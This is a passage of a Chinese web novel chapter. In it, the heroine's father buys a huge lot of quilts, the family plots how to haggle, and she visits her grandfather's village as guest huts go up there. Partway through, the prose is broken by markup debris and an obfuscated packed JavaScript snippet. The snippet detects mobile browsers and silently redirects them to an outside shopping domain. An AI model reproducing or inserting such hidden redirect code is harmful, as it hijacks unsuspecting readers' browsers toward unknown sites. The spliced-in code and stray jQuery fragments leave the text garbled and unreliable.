常怀山又是天黑才归家。
进屋先灌了一大碗冷白开,擦了把汗,一脸得意地看着二女儿:“你那些离谱的要求,我全给你办成了!”
常茸就恭维他:“我就说没什么事能难倒你!”上去给他捏肩膀,“快给我讲讲你今天的丰功伟绩。”
在物资匮乏的古代,一天内就办成那么多事,常怀山是真有点本事在身上的,常茸都好奇了。
常怀山舒展身体放松肌肉享受她难得的服务,回忆过程的艰辛:“其中弹棉花最麻烦,一个弹匠一天最多弹五床棉胎,我找遍楮城和周边的村子才凑齐二十三个,我把地址一一记下来,准备明早就安排布庄送货!
“弹匠不够咋办?我当时都放弃了,想着被子够用,褥子就薅点草将就垫垫吧。要不说我运气好,不知不觉就走到了撒鱼码头去,碰到了在你七耶摊子上吃烤肠的布料商人,他手上正好有大批弹好的棉胎,就是尺寸比你说的大一点,宽度有四尺五,一床我在那算了半天,发现比我在布庄买棉花请匠人还便宜,就把他货全部吃下了!”
常茸这下是真的吃惊了,这也太有魄力了吧,她问:“全部货是多少?”
“重逾两千钧。”
“……是多少斤?”两千斤还是两千什么,她没太听懂。
常怀山:“两千钧,六千多斤,这还是他沿路销后剩下的。”
“耶耶你太有魄力了,货全部都是棉胎吗?”常茸点头,原来是“千钧一发”的“千钧”啊。
“他说之前大半是棉布,只是都卖完了,就是做的棉胎太重,寻常人家舍不得做四斤重的,销量不好,这才让我遇上了。可惜先在布庄定了棉花,匠人也约好了,不能失信与人,不然我就不要那些了。”常怀山可惜道。
常茸听到那么多货,心里一下子活泛起来,想到其他对策:“不可惜,你明天取了棉花,全部给那些弹匠送去,让他们做成宽四尺五、长六尺、重两斤的,不用赶工,我们留着夏天用。”
她的一间房六张单人床计划可以改成六张双人床,到时候两人一张床,想要一个人睡的就加二十文,完美。
吴佳香扒拉着手指算了半天才得出数来,不由得担心道:“一千五百床被子咱也用不完啊!”也是消费观念改变了,她最先想到的居然不是“那要花多少钱!”。
“是一千五百八十三床。机会难得啊,我累了一天,突然遇到这样的好事,再被商人一顿说,当时头脑发热了。”常怀山歇了一会儿,现在有点后悔了。
都拿下咋办,眼看要天热,他转卖也卖不出去啊,不由得看向常茸。
“耶耶你给了多少定钱?”还是常庸会抓重点。
“我哪敢给啊,他要是拿了钱连夜跑路咋办?”常怀山摸出袖袋里的荷包,里面还有剩余的几两银子,“再说我这点也不够定金的。”
没给钱那就好,常庸换个坐姿,出主意:“这样,你明天去就说家里是奶奶当家,她不愿意把货包圆,只勉强同意买三百床,不然就请家法。除非他愿意让点利。”
上房的邓氏猛地打两个喷嚏。
“若是那商人不同意,你就假装不买了,然后托别人买——还是我和大哥去吧,躲在暗处听你安排。”
可喜可贺,他也像大哥一样,从卖洗发水的工作中解放出来,就是按摩师的退休好似遥遥无期。快了快了,就差临门一脚了。
常怀山一拍桌子,哈哈大笑:“就这么办!”
常庸又道:“你得跟七耶那边提前打招呼,别揭你老底,说咱们分家了之类的话。”
“好好好,咱父子仨明天一起去,买到棉胎再去安排弹匠的事。”常怀山说。
常茸也想看他们现场直播买被子,可是在诸葛家那边的学习不好三天打鱼两天晒网的,给人印象不好,而且旅游业搞起来后,请假的时间会多起来,要把请假的机会用到实处。
想到这里,她赶紧拿出纸笔开始今天的练字任务,最近老师偶尔会抽查她的进度,被他发现她偷懒的话,那老头一张毒嘴可不会看她是个女生就留情的。
今天,在诸葛良盈的例行教学后,常茸今天没有蹭纸笔用,她想知道常庸的计策生效没有,不过她猜问题不大。
船运的棉花可经不住长时间的水汽,商人也想快速出货,天已变暖,那么厚的棉被没有销量的,囤到冬天得需大笔流动资金。
被她猜着了,一到家就看到保健室里堆积如山的雪白棉胎和绿色的布匹,孟锦娘在带着常萍、冬葵、若水、若宛她们裁布缝被套。
她们没有用老式方法,里子、面子两分缝,而用的是常茸教的“四件套”法,给四角留系带固定棉胎,把被子套好后防止跑棉,又在四边定了几针做双重固定。
常庸看看时辰,有气无力地叫常萍、冬葵“上班”了。
他们一家听了非常多常茸说的新词,现在都习惯跟着说了。
“被子怎么送过来的?”常茸没看到常怀山,就问孟锦娘。
孟锦娘专注裁布,头也不抬地说:“雇了几个牛车和几十个壮汉,一趟就送来了,你耶耶还特别热情地请人喝了碗糊糊。”
常茸一翻她的炒面坛,果然空了三个,看其他人都不得闲,只好自己上手炒豆子,一炒就是一下午。晚饭后她在练字,让人接着炒,把家里的存货炒完,又叫常喜明天各样都买一斗,用牛车拉回来。
次日,常茸从诸葛家出来,在菜市场问到有经过王员外家的牛车,带上相和就坐了上去。
她天天走那么远的路,布鞋换得超级勤快,因为坏得快,露底了破洞了她不穿的,下面谁不嫌弃都可以拿去补补接着穿。
她不知道的是,下面的人以抢到一双二姐穿过的鞋为荣,这个家里他们最敬佩的就是她了。
常茸最近出行都带着相和,一来有个说话的不无聊,二来路上安全一点,三来看他聪明,有意培养一下。
相和盯着脚上的鞋傻笑一下,赶紧收起笑容,二姐说过他笑起来傻兮兮的,很好骗的样子,可是这次轮到他穿二姐的鞋了哎,虽然小了一点点嘿嘿嘿嘿嘿……
他希望自己的脚长慢一点,就可以多穿几双二姐的鞋子了。那样,他也会变得越来越聪明的吧。
二姐夸他聪明,肯定是因为他穿二姐的鞋才变聪明的,要不然之前咋没人说过呢?
常茸给了他个大脑蹦:“傻兮兮的笑什么呢?”
相和收起笑,扬起头:“今天穿新鞋子。”
“什么新鞋子,都打补丁了。”
“我喜欢穿打补丁的。”
“行吧,你还挺潮。”
牛车在王员外家路口停下,常茸俩人又走了两刻多钟,到了岭前村,穿过一段小路——他们曾经讲鬼故事吓到常怀山的地方,才到野猪岭山脚下。
有人在修理马路,是常茸认识的野猪岭的人,那边都是沾亲带故的,她就喊了:“小舅,你怎么来这里捡石头了。”
那人直起腰来,看到说话的是常茸,就笑道:“原来是大姐家的姑娘,你又来外公家了?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681113|203678||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“是啊,看茅屋盖得怎么样。”
吴小舅就呵呵笑:“快着呐,昨天就盖了两个,全村爷们都去帮忙了!”
常茸非常吃惊,外公家供不了这么多人的饭食吧?
“是族长说的,你外公家要带着村子做个挣钱的营生,让大家都去帮忙。这不,我不会修房编竹子,就给分到路上捡石头来了,你往上走一段又会遇到其他捡石头的人。”
吴小舅说着挥舞手里的镰刀,“遇到杂草荆棘也修理一下。”好让城里精贵的读书人好走些,别太嫌弃。
哇,吴氏族长这么有远见的?在他的带领下,野猪岭未来想必会一片光明吧。
“小舅你忙着,我先上去了。”
“好,去我家玩哈。”
“嗯嗯嗯!”
常茸一路上遇到七八个修路的,认识的,她就叫人,不认识的就先自我介绍:“我是吴佳香家姑娘,怎么称呼您?”然后展开一段简短的谈话,由此得知,一群搭房的人都是回自己家吃饭的,让她为外婆的钱包松了口气,也坚定了带领野猪岭奔富的想法。
进了村里,不知道是不是错觉,她觉得今天的野猪岭人气不够旺。
“大人孩子都去斜坡那里帮忙了,对了,新地基就买在斜坡上。”正在编蒲团的二舅母乐呵呵地给常茸解释。
三舅母接话:“我也想去看,可是手里忙不过来!”
大舅母关切地问常茸:“还没吃饭吧,我给你煮个荞面疙瘩!”
“我们在店里吃了来的。”常茸想着那又苦(苦荞)又甜(糖水)的怪异口味,连忙拒绝,“我去茅屋那边看看。”
斜坡就是一个不高的缓坡,被开荒成酥麻地,没想到族长居然舍得把一亩在种的田地划来建房——野猪岭村内也找不到大块合适的地基了。
吴小舅“两间”的消息俨然落后了,此时第六间茅屋的已然成型,第七间正在打桩。
“这是谁家的地?”常茸问编竹席的吴齐。
“就是我家的啊。”
常茸:“……”浪费表情了。
她找到人群里指点江山的吴外公,他旁边站着的老头常茸一个都不认识。
“来来来,给哥几个认认,这就是我那最有出息的外孙女。”吴外公“外”字都不加了,介绍常茸叫几个长辈。
常茸跟着一通喊人,除了外公的两个亲弟弟和族长,谁也没记住。
“没见过这么灵气的女娃娃,不愧是我们野猪岭出去的,想到帮衬外家。”族长的眉毛特别长,皱纹的走向也很妙,要是穿得好一点,能去演个仙尊了。
“外家也是家嘛。”常茸笑道,熟练地夸回去,“我看族长像个老神仙,怪不得族人这么团结。”
“哈哈哈!”族长被逗得开怀大笑,银白的胡须抖个不停。
常茸也不冷落其他人:“咱们野猪岭就是钟灵毓秀,尽出长寿老人。”毕竟不长寿的也不在这里……
这下,其他人也笑了。
寒暄完毕,常茸才与吴外公说起正事:“我那边其他东西都准备好了,只是木板床的尺寸需要变一下,宽度改成四尺五,一间房里摆三张。”
吴外公笑道:“那简单,加块木板上去就是了。”几块石头凿规整一点,抹点灰浆,再搭几块木板,一张床就成了,能不简单嘛!
“再有,一间靠近厨房的茅屋要铺石块,作为洗漱间,那些读书人要洗澡沐发用。还要挖下水道安排,洗澡、洗碗的水要流出去,不然天一热就发臭了。”